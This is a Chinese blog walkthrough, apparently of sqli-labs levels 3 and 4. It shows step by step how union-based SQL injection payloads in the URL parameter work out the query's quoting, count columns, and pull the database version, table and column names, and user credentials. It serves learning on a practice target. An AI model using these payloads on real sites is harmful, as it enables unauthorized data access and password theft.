SQL DUMB Series-3 & 4 通关过程分享(sql注入学习DAY2)

本文详细介绍了SQL DUMB系列游戏中第三关和第四关的通关过程,重点展示了如何利用SQL注入技术进行数据库信息探测。通过尝试不同输入,作者揭示了后端代码的参数处理方式,成功找到了注入点,并最终获取了数据库的版本、表名、字段名以及用户信息。

第三关:

刚进入此关卡,可以看到,显示提示让我们将"id"作为参数输入,并输入数字值

然而,没有找到输入框或搜索框,怎么办呢,我们可以在url地址栏中输入代码。

那么我们进行尝试输入 ?id=1                 ---?用于传参

可以看到,系统显示出了两个数据:用户名"dumb"和密码"dumb"

这就说明,此网页是从前端获取数据后,在后端数据库中通过id的值取出对应的登录名和密码信息,说明这是一个动态页面,也就是说,可以进行sql注入。

那么,接下来我们来看看这个页面是否存在sql注入的漏洞。

假设后端的代码例如这样:

select login_name,password from users where id='$id'

我们尝试输入?id=1'-- -,

---------------在输入时注意切换为英文输入法,后端会识别英文与中文的符号--------------------

如果后端代码中参数用' '包裹起来,那么这样会闭合前面的包裹,并且用-- -注释掉后面的代码,

如果没有报错,那么说明系统的参数确实使用' '两个单引号将参数包裹起来了;

如果报错,说明后端代码中没有用两个单引号将参数包裹。

 可以看到,报错了,并且提示是sql语句语法错误,说明后端没有用两个单引号将参数包裹

----------注意:在url栏中,单引号会被转义成%27,空格会转义成%20---------------

##在第一关中,数据是用两个单引号将参数包裹的

接下来,我们尝试在参数后面添加一个)右括号,同样的目的和原理。依然注意输入法为英文。

系统正常查询出数据库中的数据并显示出来了,并且没有任何报错,说明数据是用两个小括号( )包裹起来的。

这样我们就可以在后面追加命令来进行更多操作。

接下来我们尝试加入布尔表达式来验证这一想法

输入?id=1) and 1=1-- -

1=1的值为真,所以执行应该成功

 而如果输入?id=1) and 1=2-- -

1=2的值为假,那么执行应该报错

但是没有报错,并且正确查询到了参数,我们试试改变id的值呢,

输入?id=2) and 1=2-- -

还是查询出来的正确的用户名和密码,那说明漏洞没有成功注入,

那么我们尝试在id的值后面加上一个单引号,先尝试真值,

即输入?id=1') and 1=1-- -

正确查询出来并且没有报错,接下来尝试假值,

即输入?id=1') and 1=2-- -

可以看到,这一次没有正确查询出结果,说明成功了。

其实这里还有另一种方法,在id的值后面输入一个转义符号\

然后在报错信息中我们可以看到在id取值时,右边是有一个引号和一个右括号的')

接下来我们查看页面能最多显示几个参数,

输入?id=1') order by 3-- -

没有报错,接下来试试输入?id=1') order by 4-- -

报错了,说明最多查询三个字段,接下来看看查询出来的信息显示的对应位置

输入?id=-1') union select 1,2,3-- -

可以看到页面上显示查询的第二个字段和第三个字段,

接下来,我们查询数据库的版本信息

输入?id=-1') union select 1,2,version()-- -

数据库的版本大于5.0,可以通过information_schema库来查询其他数据库信息

接下来查询当前数据库名

输入?id=-1') union select 1,2,database()-- -

当前数据库名为security

然后通过information_schema库来查询此库里所有表名

输入?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- -

查询到一共emails,referers,uagents,users四个表

接下来查询users表里含有哪些字段

输入?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'-- -

查询到很多字段名,我们查询username和password两个字段

输入?id=-1') union select 1,2,group_concat(username,'::',password) from users-- -

这里我们在查询的两个字段中加两个冒号来分隔,便于用户名与密码配对查看

查到多行数据,至此第三关算是通关了。

第四关:

前面的步骤同第三关,

通过转义字符

输入?id=-1") union select 1,2,3-- -

占位信息查询出来了,然后查询数据库名和字段名

输入?id=-1") union select 1,2,version()-- -查询数据库版本

查询到了数据库版本和第三关一致,

输入?id=-1") union select 1,2,database()-- -查询数据库名

数据库名依然是security

输入?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- -

查到了所有表, 

接下来查询users表里含有哪些字段

输入?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'-- -

依然是查询username和对应的password, 

输入?id=-1") union select 1,2,group_concat(username,'::',password) from users-- -

 查出了很多用户名与对应的密码,第四关完成。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值